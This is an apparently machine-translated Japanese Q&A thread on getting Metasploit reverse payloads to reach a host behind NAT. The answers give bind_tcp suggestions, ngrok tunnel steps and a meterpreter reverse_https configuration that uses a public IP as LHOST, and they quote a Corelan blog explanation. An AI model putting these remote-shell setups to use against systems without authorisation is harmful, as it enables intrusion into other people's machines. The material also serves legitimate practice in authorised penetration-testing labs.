まず、これは合法であり、私はそれを私の友人に書いています。私はお互いを攻撃して、良くなり、法律を破らないようにしています。
セットアップ BT5R3を実行しているVMWareイメージがあります。 VMWareのNATを使用している場合、ネットワークはNATを使用するルーターの背後にあります。そこから、VPNトンネルで動作し、NATを使用しています)。私はメタスプロイトを内部またはラボで実行したことがあるだけで、インターネット経由で実行したことがないことに気づきました。
質問
このシナリオでは、マシンに接続する必要があるため、リバースペイロードは不可能だと確信しています。これはペイロードでも機能しますか?
トラフィックをNAT処理しているシステムでポート転送を実行できない限り、これはリバースペイロードでは機能しません。したがって、接続を戻すペイロードよりも、接続できるペイロードを生成する方が適切です(ただし、ターゲットもNATを使用している場合、これも廃止されます)。例えば:
Shell/bind_tcp
あなたとターゲットの間にファイアウォールがある場合、これは問題を引き起こします。最善の方法は、NAT可能であれば完全に取り除くことです。あなたの場合、これはかなり難しいようです...
Ngrokを使用して、NAT https://ngrok.com/download
1. unzip /path/to/ngrok.Zip
2../ngrok authtoken <YOUR_AUTH_TOKEN>
You get authtoken when you create account on ngrok
3../ngrok http 80
これにより、NAT外のマシンにアクセスするためのトンネルが作成されます。このように
Web Interface http://127.0.0.1:4040
Forwarding http://f44affd3.ngrok.io -> http://localhost:80
Forwarding https://f44affd3.ngrok.io -> http://localhost:80
これで、リバースシェルに https://f44affd3.ngrok.io アドレスを使用できます。 httpのinstedを使用するか、80のinstedのポートを指定することもできます。他のポートも使用できます。
meterpreter/reverse_https
を使用して、LHOST
をパブリックIPに設定できます。ポート443
をmetasploitをホストしているマシンに必ず転送してください。
set payload windows/meterpreter/reverse_https
set LPORT 443
set LHOST YOUR PUBLIC IP
「攻撃者のホストはNATの背後にあるため、LHOSTとしてルーター/ファイアウォールのパブリックIPアドレスを使用する必要があります。エクスプロイトが実行されると、このIPはシェルコードに埋め込まれ、最初のMeterpreterシェルコードがターゲットで実行されると、このIPアドレスに接続します。ルーター/ファイアウォールのポート転送は、攻撃者ホストのLAN IPにトラフィックを転送します。このため、LHOSTを1.1.1.1(攻撃者のパブリックIP)に設定する必要があります。ルーター/ファイアウォール)
パブリックIPをLHOSTとして使用することは、MetasploitがMeterpreterハンドラーを設定するときにそのIPにバインドしようとすることも意味します。このIPはMetasploitインスタンスではなくルーター/ファイアウォールに属しているため、明らかに失敗します。良い点は、Metasploitが自動的に0.0.0.0にフォールバックし、基本的に攻撃ホストのすべてのローカルIPでMeterpreterハンドラーを提供する一方で、LHOSTがパブリックIPアドレスに設定されていることを覚えていることです。これがまさに私たちが必要としていることです。」
出典: https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/